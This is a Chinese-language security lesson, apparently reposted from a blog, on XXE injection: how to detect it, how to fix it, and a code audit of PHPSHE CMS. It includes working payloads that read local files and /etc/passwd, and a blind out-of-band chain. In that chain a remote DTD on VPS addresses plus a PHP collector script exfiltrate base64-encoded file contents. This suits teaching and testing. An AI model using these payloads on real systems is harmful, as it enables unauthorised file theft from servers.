首页 > 其他分享 >【第59课】XML&XXE安全&无回显方案&OOB盲注&DTD外部实体&黑白盒挖掘

【第59课】XML&XXE安全&无回显方案&OOB盲注&DTD外部实体&黑白盒挖掘

时间:2024-08-14 13:54:19浏览次数:13  
标签:XML xml 59 无回显 send 漏洞 XXE php

知识点:
1、XXE&XML-原理-用途&外实体&安全
2、XXE&XML-黑盒-格式类型&数据类型
3、XXE&XML-白盒-函数审计&回显方案

在这里插入图片描述

详细点:

XML被设计为传输和存储数据,XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。等同于JSON传输。

XXE漏洞XML External Entity Injection,即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取(最常用)、命令执行、内网扫描、攻击内网等危害。

php原生态代码只能造成文件读取,其他的例如命令执行那些都是跟一些第三方库导致的安全问题有关

XML 与 HTML 的主要差异:
XML 被设计为传输和存储数据,其焦点是数据的内容。
HTML 被设计用来显示数据,其焦点是数据的外观。
HTML 旨在显示信息 ,而XML旨在传输存储信息。
Example:网站的xml文件解析

XXE黑盒发现:

1、获取得到Content-Type或数据类型为xml时,尝试xml语言payload进行测试
  • 1

在这里插入图片描述

2、判断对方使用XML来传输数据时,尝试xml语言payload进行测试

在这里插入图片描述
在这里插入图片描述

3、不管获取的Content-Type类型或数据传输类型是否是XML,均可尝试修改为XML格式后提交测试xxe

在这里插入图片描述

4、XXE不仅在数据传输上可能存在漏洞,同样在文件上传引用插件解析或预览也会造成文件中的XXE Payload被执行(百度docx xxeb即可)

参考地址:Word文档进行XXE攻击_docx xxe-CSDN博客
在这里插入图片描述

XXE白盒发现:

1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等

XXE修复防御方案:

方案1-禁用外部实体

PHP:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();dbf.setExpandEntityReferences(false);

Python:
from lxml import etreexmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

方案2-过滤用户提交的XML数据

过滤关键词:<!DOCTYPE和<!ENTITY,或者SYSTEM和PUBLIC

一、演示案例-XML&XXE-传输-原理&探针&利用&玩法

有回显:

1、读取文件

解释

<?xml version="1.0"?> <!DOCTYPE xiaodi [

    <!ENTITY test SYSTEM "file:///d:/1.txt">

]>

<user><username>&test;</username><password>xiaodi</password></user>

在这里插入图片描述
在这里插入图片描述

2、外部实体引用dtd:

解释

<?xml version="1.0" ?> <!DOCTYPE test [

        <!ENTITY % file SYSTEM "http://127.0.0.1:80/xxe.dtd"> %file;

]>

<user><username>&send;</username><password>xiaodi</password></user>

在这里插入图片描述
xxe.dtd

<!ENTITY send SYSTEM "file:///d:/1.txt">

无回显:

3、带外测试

解释

<?xml version="1.0" ?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "http://9v57ll.dnslog.cn"> %file; ]> <user><username>&send;</username><password>xiaodi</password></user>

在这里插入图片描述
在这里插入图片描述
或者不用dnslog,直接在VPS服务器上用python起一个WEB服务,然后看这个有没有请求记录即可。

python -m http.server port
  • 1

在这里插入图片描述

4、无回显读文件(外部实体引用dtd)

解释

<?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "file:///d:/1.txt"> <!ENTITY % remote SYSTEM "http://127.0.0.1/xxe.dtd"> %remote; %all; ]> <root>&send;</root>

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8

在这里插入图片描述
在这里插入图片描述
xxe.dtd(真实情况下肯定放在VPS上)

<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1/get.php?file=%file;'>">
  • 1

get.php(真实情况下肯定放在VPS上)

解释

<?php $data=$_GET['file']; $myfile = fopen("file.txt", "w+"); fwrite($myfile, $data); fclose($myfile); ?>

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

那么这里又存在一个问题就是要读文件有空格有中文难道就读不了吗?
可以用php伪协议来绕过呀

php://filter/read=convert.base64-encode/resource=phpinfo.php
  • 1

在这里插入图片描述

解释

<?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=D:/1.txt"> <!ENTITY % remote SYSTEM "http://124.221.77.120/xxe.dtd"> %remote; %all; ]> <user><username>&send;</username><password>admin</password></user>

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

其他玩法(协议)-见参考地址

https://www.cnblogs.com/20175211lyz/p/11413335.html

二、演示案例-XML&XXE-黑盒-JSON&黑盒测试&类型修改

漏洞URL:http://web.jarvisoj.com:9882/
在这里插入图片描述
更改请求数据格式:Content-Type为xml格式

解释

<?xml version = "1.0"?> <!DOCTYPE ANY [ <!ENTITY f SYSTEM "file:///etc/passwd"> ]> <x>&f;</x>

  • 1
  • 2
  • 3
  • 4
  • 5

在这里插入图片描述

三、演示案例-XML&XXE-白盒-CMS&PHPSHE&无回显

审计流程:

1、搜索漏洞函数simplexml_load_string
  • 1

在这里插入图片描述

2、pe_getxml函数调用了漏洞函数
  • 1

在这里插入图片描述
在这里插入图片描述

3、wechat_getxml调用了pe_getxml
  • 1

在这里插入图片描述
在这里插入图片描述

4、notify_url.php调用了wechat_getxml
  • 1

在这里插入图片描述

5、访问notify_url文件触发wechat_getxml函数,构造Paylod测试
  • 1

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
先尝试读取文件,无回显后带外测试:
在这里插入图片描述

解释

<?xml version="1.0" ?>

<!DOCTYPE test [

<!ENTITY % file SYSTEM "http://1uwlwv.dnslog.cn"> %file; ]> <root>&send;</root>

在这里插入图片描述
在这里插入图片描述
存在XXE漏洞

然后带外传递数据解决无回显:

解释

<?xml version="1.0"?>

<!DOCTYPE ANY[ <!ENTITY % file SYSTEM "file:///d:/1.txt"> <!ENTITY % remote SYSTEM "http://47.94.236.117/test.dtd"> %remote; %all; ]> <root>&send;</root> test.dtd: <!ENTITY % all "<!ENTITY send SYSTEM 'http://47.94.236.117/get.php?file=%file;'>"> get.php <?php $data=$_GET['file']; $myfile = fopen("file.txt", "w+"); fwrite($myfile, $data); fclose($myfile); ?>

标签:XML,xml,59,无回显,send,漏洞,XXE,php
From: https://blog.csdn.net/Lucker_YYY/article/details/141163889

相关文章

  • LeetCode 1359. Count All Valid Pickup and Delivery Options
    原题链接在这里:https://leetcode.com/problems/count-all-valid-pickup-and-delivery-options/description/题目:Given n orders,eachorderconsistsofapickupandadeliveryservice.Countallvalidpickup/deliverypossiblesequencessuchthatdelivery(i)isalw......
  • JSP湖南源来医疗器材公司智能办公OA系统2w590
    本系统(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。系统程序文件列表系统功能:用户,发文信息,收文信息,请示信息,人事档案,考勤信息,工资信息,会议通知,通讯录,资产信息,资料信息,车辆信息,统计信息,日程安排,工作日志,申请补卡技......
  • 159.302 The 8-Puzzle: Search Algorithms
    159.302ArtificialIntelligenceAssignment#1The8-Puzzle:SearchAlgorithmsMaximumnumberofmemberspergroup:3studentsDeadlineforsubmission:9thofSeptemberInstructionsYourtaskistowriteaC++programthatwillsolvethe8-puzzleprob......
  • Python XmlTool
     XMLToXlsximportxml.etree.ElementTreeasETimportreimportpandasaspddefmain():tree=ET.parse("in/strings.xml")root=tree.getroot()patternKey=re.compile(r"\:\'(.+?)\'")data_list=[]......
  • L1-059 敲笨钟
    微博上有个自称“大笨钟V”的家伙,每天敲钟催促码农们爱惜身体早点睡觉。为了增加敲钟的趣味性,还会糟改几句古诗词。其糟改的方法为:去网上搜寻压“ong”韵的古诗词,把句尾的三个字换成“敲笨钟”。例如唐代诗人李贺有名句曰:“寻章摘句老雕虫,晓月当帘挂玉弓”,其中“虫”(chong)和“......
  • AJAX - 利用XML和Promise封装简易版axios,了解axios底层原理
     AJAX原理-XMLHttpRequest定义:XMLHttpRequest(XHR)对象用于与服务器交互。通过XMLHttpRequest可以在不刷新页面的情况下请求特定URL,获取数据。这允许网页在不影响用户操作的情况下,更新页面的局部内容。XMLHttpRequest 在 AJAX 编程中被大量使用。关系:axios内部采用......
  • 新手常见错误:Language level is invalid or missing in pom.xml. Current project JDK
    目录Blue留声机:分析报错 Blue留声机:今天开一个maven的时候遇到这样一个报错,这个报错对于我来言是一个并不陌生的报错,早期学习spring框架的时候,遇到过这个问题,当时怎么也弄不出来(现在想想那个时候的我真菜),现在却对这种问题的解决游刃有余。好了,不多bb了,看看我一般处理bu......
  • JAVA里的xml(详解)
    1.xml1.1概述【理解】万维网联盟(W3C)万维网联盟(W3C)创建于1994年,又称W3C理事会。1994年10月在麻省理工学院计算机科学实验室成立。建立者:TimBerners-Lee(蒂姆·伯纳斯·李)。是Web技术领域最具权威和影响力的国际中立性技术标准机构。到目前为止,W3C已发布了200多......
  • 智能车创意组地平线赛道--Yolov5数据集标注xml文件时统一标签问题
    废话不多说,直接给出代码。'''通过解析xml文件,批量修改xml文件里的标签名称,比如把标签zero改成num'''importos.pathimportglobimportxml.etree.ElementTreeasETpath=r'D:\test'#存储标签的路径,修改为自己的Annotations标签路径forxml_fileinglob.glob(pa......
  • P5975 [CEOI2009] photo
    题目链接。可过掉帖子中的所有Hack数据。Analysis\(f_{l,r,p}\)表示覆盖了\([l,r]\)区间内纵坐标\(\gep\)的点最矩形个数(离散化后)。那么就有转移:\[f_{l,r,p}=\min(f_{l,r,p},f_{l,mid,p}+f_{mid+1,r,p})\]\[f_{l,r,p}=\min(f_{l,r,p},f_{l,r,res}+1)\]令\(h......